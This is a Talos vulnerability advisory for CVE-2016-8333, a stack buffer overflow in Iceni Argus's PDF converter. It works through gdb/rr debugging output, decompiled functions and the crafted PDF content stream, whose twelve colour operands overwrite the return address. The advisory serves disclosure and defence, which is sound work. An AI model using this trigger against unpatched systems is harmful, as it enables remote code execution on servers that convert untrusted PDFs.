Talos Vulnerability Report

TALOS-2016-0200

Iceni Argus ipfSetColourStroke Code Execution Vulnerability

October 26, 2016
CVE Number

CVE-2016-8333

Summary

An exploitable stack-based buffer overflow vulnerability exists in the ipfSetColourStroke functionality of Iceni Argus.

A specially crafted pdf file can cause a buffer overflow resulting in arbitrary code exection. An attacker can provide a malicious pdf file to trigger this vulnerability.

Tested Versions

Iceni Argus Version 6.6.04 (Sep 7 2012) NK

Product URLs

http://www.iceni.com/legacy.htm

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CVSSv3 Calculator: https://www.first.org/cvss/calculator/3.0

Details

This vulnerability is present in the Iceni Argus PDF which is used inter alia to convert pdf files to (x)html form.

This product is mainly used by MarkLogic for pdf document conversions as part of their web based document search and rendering. A specially crafted PDF file can lead to an stack based buffer overflow and ultimately to remote code execution.

Let's investigate this vulnerability. After executing the PDF to html converter with a malformed pdf file as an input we can easily observe in gdb

that the return address has been overwritten:

Continuing.
Loading configuration...
Parsing macros...
Macro synth-bookmarks='true'
Macro image-output='true'
Macro text-output='true'
Macro zones='false'
Macro ignore-text='true'
Macro remove-overprint='false'
Macro illustrations='true'
Macro line-breaks='true'
Macro image-quality='75'
Macro page-start=''
Macro page-end=''
Macro document-start=''
Macro document-end=''
features='11140221'
Processing...
Analysing '/home/icewall/bugs/cvtpdf/config/conv.pdf'
Pages 1 to 1

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x8f58750 --> 0x8f57ef0 --> 0x1
EDX: 0xc ('\x0c')
ESI: 0x0
EDI: 0x0
EBP: 0x3f800000
ESP: 0xffcf9010 --> 0x0
EIP: 0x41411eb8
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41411eb8
[------------------------------------stack-------------------------------------]
0000| 0xffcf9010 --> 0x0
0004| 0xffcf9014 --> 0xffcf9064 --> 0xad9708b --> 0xd6c5380a
0008| 0xffcf9018 --> 0x839da4d ("Does not exist")
0012| 0xffcf901c --> 0xf75f4000 --> 0x1aada8
0016| 0xffcf9020 --> 0xf75f4420 --> 0x0
0020| 0xffcf9024 --> 0xad97080 --> 0x0
0024| 0xffcf9028 --> 0xffcf9068 --> 0x8250f50 --> 0x57e58955
0028| 0xffcf902c --> 0x83f202f ("Unknown token ignored: '%s'\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV

Using rr debugger we can easily return a couple if instructions back and see where overflow occurred.

(rr) rsi
Warning: not running or target is remote
0x08250fdd in ipfSetColourStroke ()
(rr) context
$11 = 0x3d3
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x8f58750 --> 0x8f57ef0 --> 0x1
EDX: 0xc ('\x0c')
ESI: 0x0
EDI: 0x0
EBP: 0x3f800000
ESP: 0xffcf900c --> 0x41411eb8
EIP: 0x8250fdd --> 0xcd7de8c3
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8250fda:   pop    esi
   0x8250fdb:   pop    edi
   0x8250fdc:   pop    ebp
=> 0x8250fdd:   ret
   0x8250fde:   call   0x806dd60 <icnErrorGetCode>
   0x8250fe3:   add    esp,0x2c
   0x8250fe6:   pop    ebx
   0x8250fe7:   pop    esi
[------------------------------------stack-------------------------------------]
0000| 0xffcf900c --> 0x41411eb8
0004| 0xffcf9010 --> 0x0
0008| 0xffcf9014 --> 0xffcf9064 --> 0xad9708b --> 0xd6c5380a
0012| 0xffcf9018 --> 0x839da4d ("Does not exist")
0016| 0xffcf901c --> 0xf75f4000 --> 0x1aada8
0020| 0xffcf9020 --> 0xf75f4420 --> 0x0
0024| 0xffcf9024 --> 0xad97080 --> 0x0
0028| 0xffcf9028 --> 0xffcf9068 --> 0x8250f50 --> 0x57e58955
[------------------------------------------------------------------------------]

Now setting a hardware breakpoint on 0xffcf900c where the original ret address was located and executing a reverse-continue should lands in the place where the overwrite occurred.

(rr) rc Continuing. Warning: not running or target is remote Hardware watchpoint 3: *0xffcf900c

Old value = <unreadable>
New value = 0x80ed802
0x08155000 in realVal ()
(rr) bt
#0  0x08155000 in realVal ()
#1  0x0815504c in getRealArgArray ()
#2  0x08250f87 in ipfSetColourStroke ()
#3  0x080ed802 in ipDocExecStack ()
#4  0x080b6ed3 in ipStreamParse ()
#5  0x080dc967 in ipPageParse ()
#6  0x081abe79 in gatherPageWords ()
#7  0x0822393f in gatherPageFontStats ()
#8  0x0806b4c6 in icnDocAnalyseFonts ()
#9  0x080535c4 in analyseDocPages ()
#10 0x0805797e in dumpDocPages ()
#11 0x08053f71 in dumpDoc ()
#12 0x08054596 in dumpFile ()
#13 0x080548e7 in dumpCommandLine ()
#14 0x08052111 in icnArgusExtract ()
#15 0x08050566 in main ()
#16 0xf7462af3 in __libc_start_main (main=0x804fe00 <main>, argc=0x2, argv=0xffd30014, init=0x839ae00           <__libc_csu_init>,
    fini=0x839adf0 <__libc_csu_fini>, rtld_fini=0xf76fe160 <_dl_fini>, stack_end=0xffd3000c) at libc-start.c:287
#17 0x0804fd61 in _start ()
(rr) context
$13 = 0x3d3
[----------------------------------registers-----------------------------------]
EAX: 0x41411eb8
EBX: 0x8f58750 --> 0x8f57ef0 --> 0x1
ECX: 0xf6ff1008 --> 0x0
EDX: 0xffcf900c --> 0x80ed802 --> 0x840fc085
ESI: 0xffcf900c --> 0x80ed802 --> 0x840fc085
DI: 0x1
EBP: 0xffcf8fa8 --> 0xffcf8fc8 --> 0xffcf9008 --> 0xffcf9078 --> 0xffcf90a8 --> 0xffcf90d8 --> 0xffcf9178 -->       0xffcf92d8 --> 0xffcf9308 --> 0xffcf9348 --> 0xffcf97d8 --> 0xffcf9c78 --> 0xffcf9d48 --> 0xffcf9da8 -->        0xffcf9dc8 --> 0xffd2ff78 --> 0x0
ESP: 0xffcf8f90 --> 0xf6ff1008 --> 0x0
EIP: 0x8155000 --> 0xc0310289
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8154ff8:  jmp    0x8154fad
0x8154ffa:  mov    eax,DWORD PTR [edx+0x4]
0x8154ffd:  mov    edx,DWORD PTR [ebp+0x8]
=> 0x8155000:   mov    DWORD PTR [edx],eax
  0x8155002:    xor    eax,eax
 0x8155004: jmp    0x8154fad
 0x8155006: lea    esi,[esi+0x0]
 0x8155009: lea    edi,[edi+eiz*1+0x0]
[------------------------------------stack-------------------------------------]
0000| 0xffcf8f90 --> 0xf6ff1008 --> 0x0
0004| 0xffcf8f94 --> 0x3800 ('')
0008| 0xffcf8f98 --> 0xad1343c ("DeviceN")
0012| 0xffcf8f9c --> 0x8f58750 --> 0x8f57ef0 --> 0x1
0016| 0xffcf8fa0 --> 0x8f58750 --> 0x8f57ef0 --> 0x1
0020| 0xffcf8fa4 --> 0x8f58750 --> 0x8f57ef0 --> 0x1
0024| 0xffcf8fa8 --> 0xffcf8fc8 --> 0xffcf9008 --> 0xffcf9078 --> 0xffcf90a8 --> 0xffcf90d8 --> 0xffcf9178 -->      0xffcf92d8 --> 0xffcf9308 --> 0xffcf9348 --> 0xffcf97d8 --> 0xffcf9c78 --> 0xffcf9d48 --> 0xffcf9da8 -->        0xffcf9dc8 --> 0xffd2ff78 --> 0x0
0028| 0xffcf8fac --> 0x815504c --> 0x1a75c085
[------------------------------------------------------------------------------]

Indeed, we see a write operation with eax set to the value which was used to overwrite our return address. A quick glance at the decompiled code :

Line 1  int __cdecl realVal(float *number, NumberObject *object)
Line 2  {
Line 3    int v2; // [email protected]
Line 4    int result; // [email protected]
Line 5    int v4; // [email protected]
Line 6    int v5; // [email protected]
Line 7    int v6; // [email protected]
Line 8
Line 9    if ( object )
Line 10   {
Line 11     if ( object->type == 5 )
Line 12     {
Line 13       *number = object->value;
Line 14       result = 0;
Line 15     }
Line 16     else if ( object->type == 6 )
Line 17     {
Line 18       *number = *&object->value;
Line 19       result = 0;
Line 20     }
Line 21     else

We see this write operation in line 18 where the number variable is dereferenced. But, to answer why the overflow occurred we need to go back to the ipfSetColourStroke function. Its code is represented as follow:

Line 1 int __cdecl ipfSetColourStroke(int opStack)
Line 2 {
Line 3   struct_v1 *ICNChain; // [email protected]
Line 4   int v2; // [email protected]
Line 5   int v3; // [email protected]
Line 6   signed int v4; // [email protected] MAPDST
Line 7   int dstArray[9]; // [esp+14h] [ebp-24h]@1
Line 8
Line 9   ICNChain = *(opStack + 0x1095D4);
Line 10  if ( getRealArgArray(dstArray, ICNChain->len, opStack) )
Line 11    return icnErrorGetCode(v3, v2);
Line 12  v4 = 1;
Line 13  if ( ICNChain->len )
Line 14  {
Line 15    do
Line 16    {
Line 17      *(&ICNChain->byte5D0 + v4) = dstArray[v4 - 1];
Line 18      ++v4;
Line 19    }
Line 20    while ( ICNChain->len > v4 );
Line 21  }
Line 22  normaliseLabColour(ICNChain->byte5D0, &ICNChain[1].gap0[2]);
Line 23  return 0;
Line 24}

In line 9 we see that the getRealArgArray function copies elements of the opStack container to a temporary array called dstArray. The amount of copied elements is specified by ICNChain->len. However, dstArray can handle only 9 four byte values, while ICNChain->len equals 12.

Let we investigate getRealArgArray function:

Line 1  int __cdecl getRealArgArray(int *dstArray, int srcArrayLen, int opStack)
Line 2  {
Line 3    int v3; // [email protected]
Line 4    float *numPtr; // [email protected]
Line 5    int v5; // [email protected]
Line 6    int v6; // [email protected]
Line 7    NumberObject *objNumber; // [email protected]
Line 8
Line 9    if ( srcArrayLen <= 0 )
Line 10     return 0;
Line 11   v3 = 0;
Line 12   numPtr = &dstArray[srcArrayLen - 1];
Line 13   while ( 1 )
Line 14   {
Line 15     objNumber = ipDocOpStackPop(opStack);
Line 16     if ( !objNumber || realVal(numPtr, objNumber) )
Line 17       break;
Line 18     ++v3;
Line 19     --numPtr;
Line 20     if ( v3 == srcArrayLen )
Line 21       return 0;
Line 22   }
Line 23   return icnErrorGetCode(v6, v5);
Line 24 }

As mentioned before, srcArrayLen elements from opStack are copied to dstArray. There is no check to ensure that srcArrayLen is smaller than the size of dstArray which causes a buffer overflow.

Let's see which part of the malformed pdf leads to this issue:

(...)
Line 1   12 0 obj
Line 2   <<
Line 3   /Length 81>>
Line 4   stream
Line 5
Line 6   q
Line 7   /CS0 CS
Line 8   0.0 0.0 0.0 1.0 0.0 0.0 0.0 0.0 0.0 1.0 12.07000000 0.0
Line 9   SC 50 400 50 50 re
Line 10  B
Line 11  Q
Line 12
Line 13  endstream
Line 14  endobj
(...)

The function ipfSetColourStroke where dstArray is defined, is related to Stroke Color Space functionality which is confirmed by the use of the CS operator at line 7. At line 8 we see 12 operator parameters that are used, which corresponds to the ICNChain->len value. The return address is overwritten by second to last value 12.07000000. An attacker who controls this value can cause arbitrary code execution.

Crash Information

Loading configuration...
Parsing macros...
Macro synth-bookmarks='true'
Macro image-output='true'
Macro text-output='true'
Macro zones='false'
Macro ignore-text='true'
Macro remove-overprint='false'
Macro illustrations='true'
Macro line-breaks='true'
Macro image-quality='75'
Macro page-start=''
Macro page-end=''
Macro document-start=''
Macro document-end=''
features='11140221'
Processing...
Analysing '/home/icewall/bugs/cvtpdf/config/conv.pdf'
Pages 1 to 1

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x8f58750 --> 0x8f57ef0 --> 0x1
EDX: 0xc ('\x0c')
ESI: 0x0
EDI: 0x0
EBP: 0x3f800000
ESP: 0xffcf9010 --> 0x0
EIP: 0x41411eb8
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41411eb8
[------------------------------------stack-------------------------------------]
0000| 0xffcf9010 --> 0x0
0004| 0xffcf9014 --> 0xffcf9064 --> 0xad9708b --> 0xd6c5380a
0008| 0xffcf9018 --> 0x839da4d ("Does not exist")
0012| 0xffcf901c --> 0xf75f4000 --> 0x1aada8
0016| 0xffcf9020 --> 0xf75f4420 --> 0x0
0020| 0xffcf9024 --> 0xad97080 --> 0x0
0024| 0xffcf9028 --> 0xffcf9068 --> 0x8250f50 --> 0x57e58955
0028| 0xffcf902c --> 0x83f202f ("Unknown token ignored: '%s'\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV

gdb-peda$ exploitable -m
EXCEPTION_FAULTING_ADDRESS:0x0000004e828283
EXCEPTION_CODE:0xb
FAULTING_INSTRUCTION:?
MAJOR_HASH:d0c6e3af970659240ff8ccea76a7dce7
MINOR_HASH:d0c6e3af970659240ff8ccea76a7dce7
STACK_DEPTH:2
STACK_FRAME:Unknown+0x0
STACK_FRAME:Unknown+0x0
INSTRUCTION_ADDRESS:0x0000004e828283
INVOKING_STACK_FRAME:0
DESCRIPTION:Segmentation fault on program counter
SHORT_DESCRIPTION:SegFaultOnPc (3/22)
OTHER_RULES:PossibleStackCorruption (7/22), AccessViolation (21/22)
CLASSIFICATION:EXPLOITABLE

Timeline

2016—09-16 - Vendor Disclosure
2016-10-14 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.